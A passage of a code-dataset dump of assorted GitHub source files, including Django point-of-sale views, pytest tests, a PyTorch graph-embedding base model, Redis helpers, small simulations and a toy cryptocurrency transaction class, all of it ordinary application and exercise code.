lons\n","repo_name":"codacy-badger/RAiDER","sub_path":"tools/RAiDER/llreader.py","file_name":"llreader.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"70753027417","text":"# coding=utf-8\r\n\r\n# Django\r\nfrom django.shortcuts import render, get_object_or_404\r\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\r\nfrom django.template import loader\r\nfrom django.urls import reverse\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.core import serializers\r\nimport json\r\nimport random\r\n\r\n# Models\r\nfrom pos.products.models import Product\r\n\r\n# Forms\r\nfrom pos.products.forms import ProductForm\r\n\r\n# Utilities\r\nfrom pos.utils.functions import get_url, get_body\r\n\r\ndef get_name():\r\n name = ['Productos', 'productos', 'Producto', 'producto']\r\n return name\r\n\r\n@login_required()\r\ndef show_product(request):\r\n tmp = get_name()\r\n list_title = ['#', 'Imagen', 'Descripción', 'Categoria', 'Código', 'Precio compra', 'Precio venta', 'Stock', 'Acciones']\r\n template = loader.get_template('products/show.html')\r\n # object_list = Product.objects.all()\r\n context = {\r\n 'title': get_body(tmp[3], tmp[0]),\r\n # 'object_list': object_list,\r\n 'uri': get_url('products'),\r\n 'list_title': list_title,\r\n }\r\n return HttpResponse(template.render(context, request))\r\n\r\n@login_required()\r\ndef create_product(request):\r\n tmp = get_name()\r\n template = loader.get_template('products/add.html')\r\n if request.method == 'POST':\r\n form = ProductForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n val1 = form.cleaned_data['sales_value']\r\n val2 = form.cleaned_data['purchase_price']\r\n res = float(val2) + (float(val2)*int(val1))/100\r\n pro = form.save(commit=False)\r\n pro.sale_price = res\r\n pro.save()\r\n message = 'Los datos se guardaron correctamente!'\r\n tpl = loader.get_template('messages/message.html')\r\n contextSuccess = {\r\n 'title': get_body(tmp[3], tmp[0]),\r\n 'uri': get_url('products'),\r\n 'message': message,\r\n }\r\n return HttpResponse(tpl.render(contextSuccess, request))\r\n else:\r\n form = ProductForm()\r\n context = {\r\n 'form': form,\r\n 'title': get_body(tmp[3], tmp[0]),\r\n 'uri': get_url('products'),\r\n }\r\n return HttpResponse(template.render(context, request))\r\n\r\n@login_required()\r\ndef edit_product(request, pk):\r\n tmp = get_name()\r\n template = loader.get_template('products/edit.html')\r\n ins = get_object_or_404(Product, pk=pk)\r\n if request.method == 'POST':\r\n form = ProductForm(request.POST, request.FILES, instance=ins)\r\n if form.is_valid():\r\n val1 = form.cleaned_data['sales_value']\r\n val2 = form.cleaned_data['purchase_price']\r\n res = float(val2) + (float(val2)*int(val1))/100\r\n pro = form.save(commit=False)\r\n pro.sale_price = res\r\n pro.save()\r\n message = 'Los datos se guardaron correctamente!'\r\n tpl = loader.get_template('messages/message.html')\r\n contextSuccess = {\r\n 'title': get_body(tmp[3], tmp[0]),\r\n 'uri': get_url('products'),\r\n 'message': message,\r\n }\r\n return HttpResponse(tpl.render(contextSuccess, request))\r\n else:\r\n vi = float(ins.purchase_price)\r\n vf = float(ins.sale_price)\r\n restmp = vf - vi\r\n resf = (restmp/vi)*100\r\n val = int(resf)\r\n default_data = {\r\n 'sales_value': val,\r\n }\r\n form = ProductForm(initial=default_data, instance=ins) # initial puede agregar todos los valores o solo uno\r\n context = {\r\n 'form': form,\r\n 'title': get_body(tmp[3], tmp[0]),\r\n 'uri': get_url('products'),\r\n }\r\n return HttpResponse(template.render(context, request))\r\n\r\n@login_required()\r\ndef delete_product(request, pk):\r\n tmp = get_name()\r\n template = loader.get_template('products/delete.html')\r\n object_list = get_object_or_404(Product, pk=pk)\r\n if request.method == 'POST':\r\n object_list.delete()\r\n return HttpResponseRedirect(reverse('products:show'))\r\n else:\r\n context = {\r\n 'title': get_body(tmp[3], tmp[0]),\r\n 'object_list': object_list,\r\n 'uri': get_url('products'),\r\n }\r\n return HttpResponse(template.render(context, request))\r\n\r\ndef print_format(value):\r\n value = str('{}'.format(value))\r\n return value\r\n\r\ndef print_uri_edit(value):\r\n value = str('../edit/{}/product'.format(value))\r\n return value\r\n\r\ndef print_uri_delete(value):\r\n value = str('../delete/{}/product'.format(value))\r\n return value\r\n\r\ndef print_uri_image(value):\r\n if value == '':\r\n value = '../../static/media/products/default/anonymous.png'\r\n else:\r\n value = value\r\n return value\r\n\r\ndef print_stock(value):\r\n if value <=10:\r\n value = ''\r\n elif value > 11 and value <=15:\r\n value = ''\r\n else:\r\n value = ''\r\n return value\r\n\r\n@login_required()\r\ndef show_product_json(request):\r\n object_list = Product.objects.all()\r\n if request.user.profile.level.id == 1:\r\n data = [{\r\n '#': item.id,\r\n 'Imagen': '\"\"/',\r\n 'Descripcion': item.description,\r\n 'Categoria': print_format(item.fkcategory.description),\r\n 'Codigo': item.code,\r\n 'Precio compra': print_format(item.purchase_price),\r\n 'Precio venta': print_format(item.sale_price),\r\n 'Stock': print_stock(item.stock),\r\n 'Acciones': '
',\r\n } for item in object_list]\r\n else:\r\n data = [{\r\n '#': item.id,\r\n 'Imagen': '\"\"/',\r\n 'Descripcion': item.description,\r\n 'Categoria': print_format(item.fkcategory.description),\r\n 'Codigo': item.code,\r\n 'Precio compra': print_format(item.purchase_price),\r\n 'Precio venta': print_format(item.sale_price),\r\n 'Stock': print_stock(item.stock),\r\n 'Acciones': '
',\r\n } for item in object_list]\r\n json_data = json.dumps(data)\r\n return HttpResponse(json_data, content_type=\"application/json\")\r\n\r\n@login_required()\r\ndef show_product_json_post(request):\r\n fkcategory = request.GET.get('fkcategory', None)\r\n object_list = Product.objects.filter(fkcategory_id=fkcategory).order_by('-code')\r\n if object_list:\r\n data = [{\r\n 'id': item.id,\r\n 'categoria': print_format(item.fkcategory.id),\r\n 'codigo': item.code,\r\n } for item in object_list]\r\n else:\r\n code = fkcategory+'01'\r\n data = [{'id':'null',' categoria':fkcategory, 'codigo':code}]\r\n json_data = json.dumps(data)\r\n return HttpResponse(json_data, content_type=\"application/json\")\r\n\r\ndef get_color1(value):\r\n # color_list = ['#f56954', '#00a65a', '#f39c12', '#00c0ef']\r\n color_list = ['#E6E6FA', '#FFEFD5', '#FFE4E1', '#FAEBD7', '#B0E0E6', '#7FFFD4', '#98FB98', '#B0C4DE', '#87CEEB', '#6495ED']\r\n value = color_list[int(value)]\r\n return value\r\n\r\ndef get_digit(number):\r\n value = 11 - sum([int(a)*int(b) for a,b in zip(str(number).zfill(8), '32765432')])%11\r\n return value\r\n # return {10: 'k', 11: '0'}.get(value, str(value))\r\n\r\n@login_required()\r\ndef show_report_product_json(request):\r\n object_list = Product.objects.all().order_by('-sales')[:5]\r\n data_product = [{\r\n 'value': item.sales,\r\n 'color': get_color1(get_digit(int(item.id))),\r\n 'highlight': get_color1(get_digit(int(item.id))),\r\n # 'color': get_digit(int(item.id)),\r\n # 'highlight': get_digit(int(item.id)),\r\n 'label': item.description,\r\n\r\n } for item in object_list]\r\n return JsonResponse({'data_product': data_product}, status=200)\r\n\r\n# @login_required()\r\n# def show_product_json_get(request, fkcategory):\r\n# object_list = Product.objects.filter(fkcategory_id=fkcategory)\r\n# data = [{\r\n# '#': item.id,\r\n# 'Descripcion': item.description,\r\n# 'Categoria': print_format(item.fkcategory.description),\r\n# 'Codigo': item.code,\r\n# 'Precio compra': print_format(item.purchase_price),\r\n# 'Precio venta': print_format(item.sale_price),\r\n# 'Stock': item.stock,\r\n# } for item in object_list]\r\n# json_data = json.dumps(data)\r\n# return HttpResponse(json_data, content_type=\"application/json\")\r\n\r\n# def climaParam(request):\r\n# text = request.GET.get('text', None)\r\n# month = request.GET.get('month', None)\r\n# year = request.GET.get('year', None)\r\n# data = {\r\n# 'city': text,\r\n# 'month': month,\r\n# 'year': year\r\n# }\r\n# return HttpResponse(json.dumps(data, ensure_ascii=False, encoding=\"utf-8\"), content_type='application/json')\r\n\r\n# def ClimaJson3(request, city, month, year):\r\n# object_list = Climatology.objects.filter(id_estacion_id__id_ciudad__nombre__icontains=city, fecha__month=month, fecha__year=year).order_by('fecha')\r\n# data = [{'Letter': int(item.fecha.day), 'Freq': item.tmax} for item in object_list]\r\n# return HttpResponse(json.dumps(data, ensure_ascii=False, encoding=\"utf-8\"), content_type='application/json')\r\n\r\n# @login_required()\r\n# def show_product_json(request):\r\n# object_list = Product.objects.all()\r\n# json_data = serializers.serialize('json', object_list)\r\n# return HttpResponse(json_data, content_type=\"application/json\")\r\n\r\n# def show_product_json1(request):\r\n# object_list = Product.objects.all()\r\n# tmp = []\r\n# for i, c in enumerate(object_list):\r\n# i+=1\r\n# tmp.append([\r\n# (i),\r\n# (print_format(c.image)),\r\n# (c.code),\r\n# (c.description),\r\n# (c.fkcategory.description),\r\n# (c.stock),\r\n# (print_format(c.purchase_price)),\r\n# (print_format(c.sale_price)),\r\n# (c.stock),\r\n# ])\r\n# data = {'data': tmp}\r\n# json_data = json.dumps(data)\r\n# return HttpResponse(json_data, content_type=\"application/json\")\r\n","repo_name":"devnandito/pos","sub_path":"pos/products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"23962279683","text":"import pytest\n\nfrom algorithms.math.square_root import square_root\n\n\n@pytest.mark.math\n@pytest.mark.parametrize(\n \"root, x\", [(3.0, 9.0), (6.0, 36.0), (9.0, 81.0), (12.0, 144.0)]\n)\ndef test_square_root_exact(root, x):\n assert root == square_root(x)\n\n\n@pytest.mark.math\n@pytest.mark.parametrize(\n \"left, right, x\",\n [\n (2.0, 3.0, 7.0),\n (4.0, 5.0, 18.0),\n (5.0, 6.0, 30.0),\n (11.0, 12.0, 130.0),\n (14.0, 15.0, 200.0),\n ],\n)\ndef test_square_root_about(left, right, x):\n assert left < square_root(x) < right\n","repo_name":"huangsam/python-algorithms","sub_path":"tests/math/test_square_root.py","file_name":"test_square_root.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"36855369037","text":"from django import forms\n\nfrom .models import ReviewsDB\n\n\nclass AddReviewForm(forms.ModelForm):\n \"\"\"\n Form of adding a review\n \"\"\"\n\n class Meta:\n model = ReviewsDB\n fields = ('review_title', 'review_rating', 'review_text',)\n widgets = {\n 'review_title': forms.TextInput(attrs={'class': 'form-group'}),\n 'review_text': forms.Textarea(\n attrs={'class': 'form-control form-control-sm', 'cols': 5,\n 'rows': 6}\n ),\n 'review_rating': forms.Select(attrs={'class': 'rating-form'}),\n }\n","repo_name":"Ensin1031/Inet_shop","sub_path":"shop/shopping/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"35887609252","text":"import torch \nfrom torch import nn\nfrom torch.nn.init import xavier_uniform\nfrom torch.nn.functional import normalize\nfrom scoring_function import _distance_name,l1_distance, l2_distance\nfrom loss_function import _loss_name, MarginLoss, LogisticLoss, SigmoidLoss, selfAdversarialNegativeSamplingLoss\n\nclass Base_Model(nn.Module):\n def __init__(self, config, n_entities, n_relations):\n super(Base_Model, self).__init__()\n \n self.config = config\n self.n_entities = n_entities\n self.n_relations = n_relations\n\n self.distance = self.distance_fn()\n \n\n def forward(self, positive_triplets, negative_triplets):\n \n heads, tails, relations = positive_triplets\n negative_head, negative_tails, negative_relations = negative_triplets\n\n\n positive_score = self.scoring_fn(heads, tails, relations)\n negative_score = self.scoring_fn(negative_head, negative_tails, negative_relations)\n\n return positive_score, negative_score\n\n @staticmethod \n def init_embedding(n_vector, dim):\n \n entity_embeddings = nn.Embedding(n_vector, dim)\n xavier_uniform(entity_embeddings.weight.data)\n\n return entity_embeddings\n \n def distance_fn(self):\n \n assert hasattr(self.config,'distance_name'), 'Please check param of distance_name'\n if self.config.distance_name in _distance_name:\n if self.config.distance_name == 'L1':\n return l1_distance\n\n elif self.config.distance_name == 'L2':\n return l2_distance\n else:\n raise ValueError('model cannot instantiate unsupported distance: {}'.format(self.config.distance_name))\n \n def loss_fn(self):\n assert hasattr(self.config,'loss_name'), 'Please check param of loss_name'\n \n if self.config.loss_name in _loss_name:\n if self.config.loss_name == 'MarginLoss':\n return MarginLoss(self.config.margin)\n \n elif self.config.loss_name == 'LogisticLoss':\n return LogisticLoss()\n \n elif self.config.loss_name == 'SigmoidLoss':\n return SigmoidLoss(self.config.adv_temperature)\n \n elif self.config.loss_name == 'selfAdversarialNegativeSamplingLoss':\n return selfAdversarialNegativeSamplingLoss(self.config.margin, self.config.adv_temperature)\n else:\n raise ValueError('model cannot instantiate unsupported loss: {}'.format(self.config.loss_name))\n\n def scoring_fn(self, h_idx, t_idx, r_idx):\n raise NotImplementedError\n\n def normalize_param(self):\n raise NotImplementedError\n \n def get_embedding(self):\n raise NotImplementedError","repo_name":"WangJengYun/Graph-Embedding","sub_path":"model/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41115850093","text":"import subprocess, time,shutil, os, filecmp\n\nrunning = True\nerror = False\nlast_running = False\nwhile running:\n time.sleep(1)\n stamp = time.strftime(\"%Y_%m_%d_%H_%M_%S\")\n subprocess.call([\"tar\",'czf','versions/'+stamp+'.tgz']+file_list)\n \n for root,dirs,files in os.walk('./versions'):\n for fn in files:\n if fn != stamp+'.tgz' and filecmp.cmp('./versions/'+fn,'./versions/'+stamp+'.tgz'):\n os.remove('./versions/'+stamp+'.tgz')\n os.symlink(\"fn\",'./versions/'+stamp+'.tgz')\n\n output = open(\"logs/current.log\",'w')\n\n\n result = subprocess.call(['python2', 'main.py'],stdout=output,stderr=subprocess.STDOUT)\n if result == 201:\n subprocess.call(['echo', 'shutdown'])\n running = False\n elif result == 202:\n running = False\n elif result != 0:\n error = True\n output.close()\n shutil.move(\"logs/current.log\",\"logs/{0}.log\".format(stamp))\n","repo_name":"st0rmforce/robbit","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"16787977045","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 27 09:47:05 2020\r\n\r\n@author: andrespresavilla\r\n\"\"\"\r\n\r\n \r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nn=100 #number of iterations +1\r\nt0=0 #starting time\r\nm0=20 #initial population\r\ndt = 1 #time interval in seconds\r\na = 0.1 #rate constant\r\nK = 2000 #carrying capacity\r\n \r\ndef growth(n,t0,m0,dt,a,K):\r\n malthus = np.zeros((n,2))\r\n malthus[0,0] = t0\r\n malthus[0,1] = m0\r\n for i in range(n-1):\r\n malthus[i+1,0] = malthus[i,0] + dt\r\n malthus[i+1,1] = a*malthus[i,1]*(1-malthus[i,1]/K)*dt + malthus[i,1]\r\n plt.plot(malthus[:,0],malthus[:,1],\"ko\") \r\n plt.title(\"Malthus Growth\")\r\n plt.xlabel(\"Seconds\")\r\n plt.ylabel(\"Population\")\r\n plt.show()\r\n \r\ngrowth(n,t0,m0,dt,a,K) #run program","repo_name":"Juzquiza99/MNAF_Uniovi_3","sub_path":"TRABAJO/malthus.py","file_name":"malthus.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32793512076","text":"import time\nimport binascii\nimport hashlib\n\nfrom Crypto.Hash import SHA256\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\nfrom collections import OrderedDict\n\nclass Transaction:\n\tdef __init__(self, sender_address, recipient_address, amount, fees=0):\n\t\t\"\"\"\n\t\tA transaction tells the network that the owner of some Nicecoin value has authorized the transfer of that value to another owner.\n\t\t\"\"\"\n\t\tself.sender_address = sender_address\n\t\tself.recipient_address = recipient_address\n\t\tself.amount = amount\n\t\tself.fees = fees\n\t\tself.timestamp = time.time()\n\t\tself.signature = None\n\n\n\tdef to_dict(self):\n\t\treturn {\n\t\t\t'sender': self.sender_address,\n\t\t\t'recipient': self.recipient_address,\n\t\t\t'amount': self.amount,\n\t\t\t'timestamp': self.timestamp,\n\t\t\t'fees': self.fees,\n\t\t\t'signature': self.signature\n\t\t}\n\n\n\tdef to_hash(self):\n\t\treturn hashlib.sha256(\n\t\t\tself.sender_address +\n\t\t\tself.recipient_address +\n\t\t\tstr(self.amount) +\n\t\t\tstr(self.fees) +\n\t\t\tstr(self.timestamp)\n\t\t).hexdigest()\n\n\n\tdef sign(self, sender_private_key):\n\t\tsecret_key = binascii.unhexlify(sender_private_key)\n\t\t\"\"\"\n\t\t1. Most bitcoin transactions requires a valid digital signature to be included in the blockchain,\n\t\twhich can only be generated with a secret key;\n\t\t2. In the scope of the transaction, the current Nicecoin owner presents own public key and a signature in a transaction to spend those Nicccoin.\n\t\tThrough the presentation of the public key and signature, everyone in the Nicecoin network can verify and accept the transaction as valid, confirming that the person transferring the nicecoin owned them at the time of the transfer.\n\t\t\"\"\"\n\t\tprivate_key = RSA.importKey(secret_key)\n\t\tsigner = PKCS1_v1_5.new(private_key)\n\t\tself.signature = binascii.hexlify(self.to_hash()).decode('ascii')\n\t\t\n\t\treturn self.signature\n","repo_name":"nmaltsev/nicecoin","sub_path":"transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"18692827854","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport argparse\nimport math\n\n##### FICHERO 1\ndataset = pd.read_csv(\"data/2017y_6m_19d/20h_21m_49s_1.txt\", delimiter=' ', header=1)\narray = dataset.values\ndata = array[1:,:]\ndata = data[:-1]\n\nt = data[:,1] / 1000\nv_model_scaled = data[:, 5]\nv_live = data[:, 8]\n\ndataset = pd.read_csv(\"data/2017y_6m_19d/20h_21m_49s_2.txt\", delimiter=' ', header=None)\narray = dataset.values\narray = array[:-1]\n\ntime = array[:, 0] / 1000\nindex = array[:,1]\necm = array[:,2]\nextra = array[:,3]\ng0 = array[:,4]#####\ng1 = array[:,5]\ng2 = array[:,6]\ng3 = array[:,7]#####\n\ndef analisis(v1, v2, g1, g2):\n\tfor i in range(len(g1)):\n\t\tif i>0:\n\t\t\tif g1[i-1]!=g1[i] or g2[i-1]!=g2[i]:\n\t\t\t\tprint(\"Big trouble\")\n\t\t\t\tprint(i)\n\ta = num_disp(v1)\n\tb = num_disp(v2)\n\n\tprint(\"Disp: \"+str(a) +\" vs \"+str(b))\n\n\tif abs(a-b)>1:\n\t\treturn 0\n\telse:\n\t\treturn 1\n\n\n\nsegundos=100000\nold=50000\nnew=150000\n\nmatrix = [[0 for x in range(12)] for y in range(5)] \n\na=0\nb=0\n\nfor i in range(5*12):\n\tmatrix[a][b] = analisis(v_live[old:new-200], v_model_scaled[old:new-200], g0[old:new-200], g3[old:new-200])\n\told=new\n\tnew=old+segundos\n\ta+=1\n\tif a==5:\n\t\ta=0\n\t\tb+=1\n\nx=[]\ny=[]\nfor i in range(5):\n\tfor j in range(12):\n\t\tif matrix[i][j]==1:\n\t\t\tx.append(i)\n\t\t\ty.append(j)\n\n\nfig = plt.figure() # create a figure object\nax = fig.add_subplot(1, 1, 1) # create an axes object in the figure\nmy_xticks = ['0', '0.2', '0.4', '0.6', '0.8']\nmy_yticks = ['0', '0.01', '0.02', '0.03', '0.04', '0.05', '0.06', '0.07', '0.08', '0.09', '0.10', '0.11']\n#locs, labels = plt.xticks(x, my_xticks)\n#plt.setp(labels, 'rotation')\nplt.plot(x, y, \"o\")\nax.set_xticks(range(5))\nax.set_xticklabels(my_xticks)\nax.set_yticks(range(12))\nax.set_yticklabels(my_yticks)\nplt.show()\n\n","repo_name":"GNB-UAM/RTHybrid","sub_path":"plot_lib/old/plot_mapaborrar.py","file_name":"plot_mapaborrar.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"} +{"seq_id":"40717006479","text":"def slices(nums, slice_size):\r\n\tif slice_size > len(nums) or slice_size < 0:\r\n\t\traise ValueError\r\n\t\t\r\n\tslices = [] \r\n\tfor i in range(0, len(nums) - slice_size + 1):\r\n\t\tslices.append([int(j) for j in nums[i:i+slice_size]])\r\n\treturn slices\r\n\r\ndef largest_product(nums, n):\r\n\ts = slices(nums,n)\r\n\tmax_val = 0\r\n\tfor i in s:\r\n\t\tproduct = 1\r\n\t\tfor j in i:\r\n\t\t\tproduct *= j\r\n\t\tif product > max_val:\r\n\t\t\tmax_val = product\r\n\treturn max_val\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/largest-series-product/7143f9a1b4544e5296c501d104ffbcb3.py","file_name":"7143f9a1b4544e5296c501d104ffbcb3.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"33123852091","text":"# A simple script to count the letters in a piece of text\r\n\r\n# line one : defines the function which takes one argument \"text\" which must be a string\r\n# line two : create an empty dictionary which is used to store the letters (key) and the number\r\n# of times the occur (value)\r\n# line three : this is a for loop to iterate over the given string \r\n# line four : an if statement to check a) if the letter is a letter using the isalpha() method\r\n# which returns True if all strings are letters and b) check if the letter already\r\n# exists in the dictionary, so we only get one key for each letter.\r\n# line five : creates a dictionary key using the for loop letter and the value assigned is achieved\r\n# by passing letter to the count() method which is used on the text argument passed to\r\n# the function.\r\n# line six : the dictinary is returned \r\n\r\n\r\ndef word_count(text):\r\n letter_dict = {}\r\n for letter in text:\r\n if letter.isalpha() and letter not in letter_dict:\r\n letter_dict[letter] = text.count(letter)\r\n return letter_dict\r\n\r\n\r\nprint(word_count(\"Test this text, please\"))\r\n\r\n\r\n# Output : {'T': 1, 'e': 4, 's': 3, 't': 4, 'h': 1, 'i': 1, 'x': 1, 'p': 1, 'l': 1, 'a': 1}\r\n\r\n","repo_name":"rob8624/Simple-scripts","sub_path":"letter_count.py","file_name":"letter_count.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"69794180698","text":"import logging\nfrom contextlib import asynccontextmanager\nfrom urllib.parse import urlparse\n\nimport aioredis\n# import redis\n\nfrom common.config import config, static\n\nlogger = logging.getLogger(\"WALKOFF\")\n\n\n@asynccontextmanager\nasync def connect_to_aioredis_pool(redis_uri) -> aioredis.Redis:\n # Redis client bound to pool of connections (auto-reconnecting).\n redis_pool = await aioredis.create_redis_pool(redis_uri, password=config.get_from_file(config.REDIS_KEY_PATH))\n try:\n yield redis_pool\n finally:\n # gracefully close pool\n redis_pool.close()\n await redis_pool.wait_closed()\n logger.info(\"Redis connection pool closed.\")\n\n\n# def connect_to_redis_pool(redis_uri) -> redis.Redis:\n# url = urlparse(redis_uri).netloc.split(\":\")\n# host = url[0]\n# port = 6379 if len(url) < 2 else url[1]\n# return redis.Redis(host=host, port=port, password=config.get_from_file(config.REDIS_KEY_PATH))\n\n\ndef deref_stream_message(message):\n try:\n key, value = message[0][-1].popitem()\n stream = message[0][0]\n id_ = message[0][1]\n return (key, value), stream, id_\n\n except:\n logger.exception(\"Stream message formatted incorrectly.\")\n\n\ndef xlen(redis: aioredis.Redis, key):\n \"\"\"Returns the number of entries inside a stream.\"\"\"\n return redis.execute(b'XLEN', key)\n\n\ndef xdel(redis: aioredis.Redis, stream, id_):\n \"\"\" Deletes id_ from stream. Returns the number of items deleted. \"\"\"\n return redis.execute(b'XDEL', stream, id_)\n","repo_name":"nsacyber/WALKOFF","sub_path":"common/redis_helpers.py","file_name":"redis_helpers.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":1186,"dataset":"github-code","pt":"68"} +{"seq_id":"32507511152","text":"MAX = 20\nn = 1\nprint('method 1:')\nwhile n <= MAX:\n print(n, ':', sep ='', end='')\n #print(end = str(n)+':')\n factor = 1\n while factor <= n:\n if n % factor == 0:\n print(factor,'', end='')\n factor+=1\n print()\n n+=1\nprint('method 2:')\nn = 1\nfor n in range(1, MAX+1):\n print(n,':', sep='', end='')\n factor = 1\n for factor in range(1, n+1):\n if n%factor == 0:\n print(factor,'', end='')\n factor+=1\n print()\n\n\n\n\n","repo_name":"myfairladywenwen/cs5001","sub_path":"practice/chapter5_iteration/3_factors.py","file_name":"3_factors.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29517291075","text":"from pymongo import MongoClient\nimport math\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom dateutil import parser\nfrom datetime import datetime, timezone\nfrom collections import defaultdict\n\ndef unix_time_millis(dt):\n epoch = datetime.utcfromtimestamp(0).replace(tzinfo=timezone.utc)\n return int((dt - epoch).total_seconds() * 1000)\n\ndef subject_id(subject):\n\tidentifier = ()\n\tif subject[\"type\"] == \"Page\":\n\t\tidentifier = (\"Page\", subject[\"name\"], subject[\"pageId\"])\n\n\telif subject[\"type\"] == \"TextPost\":\n\t\tidentifier = (\"TextPost\", subject[\"text\"])\n\n\telif subject[\"type\"] == \"ImagePost\":\n\t\tidentifier = (\"ImagePost\", subject[\"text\"], subject[\"thumbnailUrl\"])\n\n\telif subject[\"type\"] == \"VideoPost\":\n\t\tidentifier = (\"ImagePost\", subject[\"text\"], subject[\"thumbnailUrl\"], subject[\"url\"])\n\n\telif subject[\"type\"] == \"LinkPost\":\n\t\tidentifier = (\"LinkPost\", subject[\"text\"], subject[\"thumbnailUrl\"], subject[\"url\"])\n\n\telif subject[\"type\"] == \"Comment\":\n\t\tidentifier = (\"Comment\", subject[\"comment\"], subject_id(subject[\"post\"]))\n\telse:\n\t\tprint(subject[\"type\"])\n\n\treturn identifier\n\ndef choice_id(choice):\n\treturn (choice[\"text\"], choice[\"fbId\"])\n\ndef choices_id(choices):\n\treturn tuple(sorted([choice_id(choice) for choice in choices], key=lambda val: val[1]))\n\n\ndef analyse_question(question, counts):\n\tif question[\"type\"] == \"MCWhichPageDidYouLike\":\n\t\tidentifier = choices_id(question[\"choices\"])\n\telse:\n\t\tsubject = question[\"subject\"]\n\t\tsubject_identifier = subject_id(subject)\n\t\tanswer = int(question[\"answer\"])\n\t\tanswer_id = choice_id(question[\"choices\"][answer])\n\t\tidentifier = (subject_identifier, answer_id)\n\n\tcounts[identifier] += 1\n\ndef analyse_board(board, counts):\n\tfor tile in board[\"tiles\"]:\n\t\tif tile[\"question1\"][\"kind\"] == \"MultipleChoice\":\n\t\t\tanalyse_question(tile[\"question1\"], counts)\n\n\t\tif tile[\"question2\"][\"kind\"] == \"MultipleChoice\":\n\t\t\tanalyse_question(tile[\"question2\"], counts)\n\t\t\t\n\t\tif tile[\"question3\"][\"kind\"] == \"MultipleChoice\":\n\t\t\tanalyse_question(tile[\"question3\"], counts)\n\ndef average_same(user_id, db):\n\tgames_col = db.games\n\tcounts = defaultdict(lambda: 0)\n\tuser_games = games_col.find({})\n\tfor game in user_games:\n\t\tif game['player1'] == user_id:\n\t\t\tanalyse_board(game['player1Board'], counts)\n\t\tif game['player2'] == user_id:\n\t\t\tanalyse_board(game['player2Board'], counts)\n\n\tvalues = list(counts.values())\n\tif len(values) > 0:\n\t\treturn sum(values)/len(values)\n\telse:\n\t\treturn 0\n\nmongo_client = MongoClient('localhost', 27017)\ndb = mongo_client.pilot_2_stats\ncollection = db.statsCollection\nitems_col = db.itemsSummaries\nstats = collection.find({\"userId\" : {\"$nin\": [\"NNquJdDH2Hg2Nnhwp\"]}})\n\nstat_by_user = defaultdict(lambda: {\"a\": 0, \"mc\":{\"a\":0, \"c\": 0}, 'd': 0})\n\nfor stat in stats:\n\tuser_id = stat[\"userId\"]\n\tstat_by_user[user_id][\"a\"] += stat[\"amount\"]\n\tstat_by_user[user_id][\"mc\"][\"a\"] += stat[\"questionsByType\"][\"multipleChoice\"][\"amount\"]\n\tstat_by_user[user_id][\"mc\"][\"c\"] += stat[\"questionsByType\"][\"multipleChoice\"][\"correct\"]\n\nfor user_id in stat_by_user:\n\tstat_by_user[user_id][\"avg\"] = average_same(user_id, db)\n\navgs = [stat_by_user[user_id][\"avg\"] for user_id in stat_by_user if stat_by_user[user_id][\"mc\"][\"a\"] > 0]\nplayer_played = [stat_by_user[user_id][\"a\"] for user_id in stat_by_user if stat_by_user[user_id][\"mc\"][\"a\"] > 0]\n\nplt.scatter(player_played, avgs)\n\nplt.title('Multiple Choice questions games played/questions occurrences scatter plot')\n\nplt.xlabel('Games played')\nplt.ylabel('Questions occurrences')\n\nplt.show()","repo_name":"jrabasco/pdm-analysis","sub_path":"second_pilot/mccount_scatter.py","file_name":"mccount_scatter.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"35441300537","text":"import json, os, re\nfrom flask import Flask, render_template, jsonify\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/api/budget_data/')\ndef budget_data(datafile): \n with open(f'Data/df_{datafile}.json') as f:\n data = json.load(f) \n return jsonify(data)\n \n\nif __name__ == \"__main__\":\n 